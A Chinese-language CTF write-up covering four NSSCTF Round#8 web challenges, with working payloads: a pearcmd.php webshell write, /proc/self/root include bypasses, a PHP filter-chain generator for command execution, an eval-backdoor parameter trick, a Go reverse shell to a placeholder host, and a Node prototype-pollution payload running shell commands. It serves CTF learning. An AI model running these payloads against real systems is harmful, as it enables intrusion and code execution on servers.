NSSCTF Round#8 web专项赛
文章目录
- MyPage
- 方法一: pearcmd.php
- 方法二:多级连接绕过
- 方法三: PHP Base64 Filter 宽松解析
- MyDoor
- Upload_gogoggo
- ez_node
MyPage
Where is my page?
拿到题目就是这个样子
感觉就是文件包含
可以读取,可以用filter协议
但是index.php怎么尝试都没读取到,data和input等协议都被ban了
方法一: pearcmd.php
filter读取不到index.php,可以试试pearcmd.php
的姿势写shell
index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=eval($_POST[1]);?>+/tmp/shell.php
利用文件包含漏洞包含这个文件即可
方法二:多级连接绕过
/proc/self/root/
多级连接绕过 include_once
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/cwd/index.php
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/cwd/flag.php
注意最后是proc/self/cwd/
index.php源码是
<?php
error_reporting(0);include 'flag.php';if(!isset($_GET['file'])) {header('Location:/index.php?file=');
} else {$file = $_GET['file'];if (!preg_match('/\.\.|data|input|glob|global|var|dict|gopher|file|http|phar|localhost|\?|\*|\~|zip|7z|compress/is', $file)) {include_once $file;} else {die('error.');}
}
include_once
不能重复包含,然后上面已经有include 'flag.php'
包含了,所以读不到flag.php
至于不能正常读到index.php我比较迷惑,应该是执行这个文件其实已经算包含一遍了,也是include_once
的问题,换成include就可以正常读。
/proc/self/root/
多级连接绕过原理可参考此文
require_once 绕过不能重复包含文件的限制
方法三: PHP Base64 Filter 宽松解析
我在写这题时候 用了这个方法,不过payload生成可能产生一点问题,复现倒是很顺
<?php
$base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"; /* <?=`$_GET[0]`;;?> */$conversions = array('R' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2','B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2','C' => 'convert.iconv.UTF8.CSISO2022KR','8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2','9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB','f' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213','s' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61','z' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS','U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932','P' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213','V' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5','0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2','Y' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2','W' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2','d' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2','D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2','7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2','4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
);$filters = "convert.base64-encode|";
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
$filters .= "convert.iconv.UTF8.UTF7|";foreach (str_split(strrev($base64_payload)) as $c) {$filters .= $conversions[$c] . "|";$filters .= "convert.base64-decode|";$filters .= "convert.base64-encode|";$filters .= "convert.iconv.UTF8.UTF7|";
}
$filters .= "convert.base64-decode";$final_payload = "php://filter/{$filters}/resource=/etc/passwd";echo $final_payload;
#var_dump(file_get_contents($final_payload));
MyDoor
一个普通的后门。
这题的初始页面与上题一模一样
不一样的是可以直接伪协议读取到index.php (没用include_once)
能filter伪协议读取到index.php的源码
<?php
error_reporting(0);if (isset($_GET['N_S.S'])) {eval($_GET['N_S.S']);
}if(!isset($_GET['file'])) {header('Location:/index.php?file=');
} else {$file = $_GET['file'];if (!preg_match('/\.\.|la|data|input|glob|global|var|dict|gopher|file|http|phar|localhost|\?|\*|\~|zip|7z|compress/is', $file)) {include $file;} else {die('error.');}
}
可以利用eval执行命令
eval($_GET['N_S.S']);
这个参数N_S.S
还涉及到了php的非法传参问题
当PHP版本小于8
时,如果参数中出现中括号[
,中括号会被转换成下划线_
,但是会出现转换错误导致接下来如果该参数名中还有非法字符
并不会继续转换成下划线_
,也就是说如果中括号[
出现在前面,那么中括号[
还是会被转换成下划线_
,但是因为出错导致接下来的非法字符并不会被转换成下划线_
那么就可以用N[S.S
传参
flag找了挺久,在环境变量env里面
Upload_gogoggo
没有任何过滤的文件上传!
是一个golang的文件上传 类似于[2022DASCTF MAY 挑战赛] hackme
没有复现吃亏了
之前也没接触很少go的题目
这里上传了个pass.png 可以看到它System output : go pass: unknown command
执行了 go pass
的命令
可以上传一个golang命令执行的文件 run.go
,这样就会执行 go run
的命令
package mainimport ("fmt""log""os/exec"
)func main() {cmd := exec.Command("/bin/bash", "-c", "bash -i &> /dev/tcp/vps/ip 0>&1")out, err := cmd.CombinedOutput()if err != nil {fmt.Printf("combined out:\n%s\n", string(out))log.Fatalf("cmd.Run() failed with %s\n", err)}fmt.Printf("combined out:\n%s\n", string(out))
}
flag是藏在home下
ez_node
const express = require("express");
const path = require("path");
const fs = require("fs");
const multer = require("multer");const PORT = process.env.port || 3000
const app = express();global = "global"app.listen(PORT, () => {console.log(`listen at ${PORT}`);
});function merge(target, source) {for (let key in source) {if (key in source && key in target) {merge(target[key], source[key])} else {target[key] = source[key]}}
}let objMulter = multer({ dest: "./upload" });
app.use(objMulter.any());app.use(express.static("./public"));app.post("/upload", (req, res) => {try{let oldName = req.files[0].path;let newName = req.files[0].path + path.parse(req.files[0].originalname).ext;fs.renameSync(oldName, newName);res.send({err: 0,url:"./upload/" +req.files[0].filename +path.parse(req.files[0].originalname).ext});}catch(error){res.send(require('./err.js').getRandomErr())}
});app.post('/pollution', require('body-parser').json(), (req, res) => {let data = {};try{merge(data, req.body);res.send('Register successfully!tql')require('./err.js').getRandomErr()}catch(error){res.send(require('./err.js').getRandomErr())}
})
这题没看懂
http://gtg.ink/ez-node-NSSCTF-round-8/ 出题人的wp
https://blog.csdn.net/weixin_52585514/article/details/128985443 V2师傅的wp
此题类似BalsnCTF 2022 2linenodejs
,v2师傅就直接用这个题的exp打
预期解是
//上传部分
obj={getRandomErr:() => {return require('child_process').execSync('cat /flag')}
}
module.exports = obj//污染部分
{"constructor":{"prototype":{"data":{"exports":{".":"./16285e8a41e03031c3638c8991393bc8.js"},"name":"./err.js"},"path":"./upload"}}
}
NSSCTF Round#8 web专项赛相关推荐
- NSSCTF Round#4 Web WP
前言 整体Web题目不是很难,正适合我这个菜鸡打,也是我第一次在博客上发WP就好好写写,之前的比赛都没做出几道题所以没机会写,之后会更多地更新博客. 1zweb 这道题被非预期解了,查看文件可以直接文 ...
- 第五届“强网杯”青少年专项赛盛大开赛
9月25日,第五届"强网杯"青少年专项赛线上赛盛大开赛.作为国家级赛事强网杯的系列专项赛,青少年专项赛圆满践行了向青少年普及网络安全知识与技能,提升青少年网络安全素养和创新能力,发 ...
- “汇新杯”新兴科技+互联网创新大赛青年创客专项赛即将截止报名
"汇新杯"新兴科技+互联网创新大赛由工业和信息化部工业文化发展中心联合深圳市龙华区人民政府举办,旨在大力发展新兴科技,同时通过大赛激发大学生.科技人才.科研团队.中小微企业和社会团 ...
- 设计赋能,数联杭温!2020温州“市长杯”·数字设计(杭州)专项赛开始报名啦!...
点击上方蓝色字关注我们~ 设计江湖 瓯越论剑 巅峰对决 谁夺魁? 如果你是一名设计师 你的未来一定在 温州"市长杯" ☆ 2020"市长杯" 中国(温州)工业设 ...
- 【融创同智 竞促发展】2019AIIA杯人工智能巡回赛及专项赛工作通气会在京成功召开
3月29日,"2019AIIA杯人工智能巡回赛及专项赛"工作通气会在北京顺利举办.工业和信息化部科技司高技术处副处长俞文心到会并致辞,本次会议由中国信息通信研究院副总工程师.中国人 ...
- 【图论最短路】【CQBZOJ 1633】【图论专项赛】位图
问题 E(1633): [图论专项赛]位图 时间限制: 1 Sec 内存限制: 64 MB 题目描述 给出一个大小为n行*m列的矩形位图.该位图的每一个象素点不是白色就是黑色,但是至少有一个象素点是白 ...
- 第二届全国智能制造(中国制造2025)创新创业大赛华南人工智能专项赛决赛圆满举办
11月30日,第二届全国智能制造(中国制造2025)创新创业大赛华南人工智能专项赛决赛.人工智能前沿趋势高峰论坛在1918智能网联产业园完满举行.工业和信息部信息化和软件服务业司.工业和信息化部软件与 ...
- 2018中国机器人大赛服务机器人专项赛赛后总结
服务机器人专项赛可以称为家庭服务机器人团队的嘉年华,参赛团队和竞赛项目的主体都是家庭服务,赛项涉及GPSR.WhoIsWho.Shopping等经典赛项,也包括人的辨识.物体辨识.路径规划.Follo ...
- 2019CISCN web题赛-JustSoSo;love_math(复现)
0x00前言 这几天从网上找个CMS源码开始练习审计,盯着众多的代码debug调呀调头晕脑胀的,还不错找到个文件读取和一个ssrf... 上月底结束的CISCN线上赛,web四道,仔细研究的2道,做出 ...
最新文章
- “我,懂数据,不怕被裁”:这项核心能力到底有多香?
- AI一分钟 | 北京开放自动驾驶车辆路测道路105公里;阿里将人工智能引入时尚界...
- linux环境对apk文件写入数据,Linux下7zip命令apk中插入文件标识渠道批量打包
- SAP PP COR2下达工单系统报错说-系统状态APNG是激活的- 分析第二篇
- nginx 配置两个域名
- 【译】A gentle introduction to self-sovereign identity
- Spin控件使用总结
- centos6.5 搭建NFS 服务
- 8、奇怪的表达式求值--2017网易春招
- 大话数据结构 17:图的深度优先遍历和广度优先遍历
- Centos-启动network报错RTNETLINK answers: File exists解决方法
- linux安装ld编译器,科学网—手动安装特定版本的gcc编译器 - 亓欣波的博文
- 【Flink】FlinkException The file LOG does not exist on the TaskExecutor
- UI素材干货模板|插画动效工作区域多个动画对象和6个动画场景
- (转)Extjs4 展示图片与图片的更新
- 【计算机组成原理】中央处理器(三)—— 数据通路
- 步进电机的正反向旋转c语言编程,实现步进电机自动正反转程序怎么写
- seaborn关联图表之折线图和散点图
- 运行jar文件,jar程序闪退,cmd命令行黑框一闪而过,无法启动jar文件
- Unity 水体浮力的实现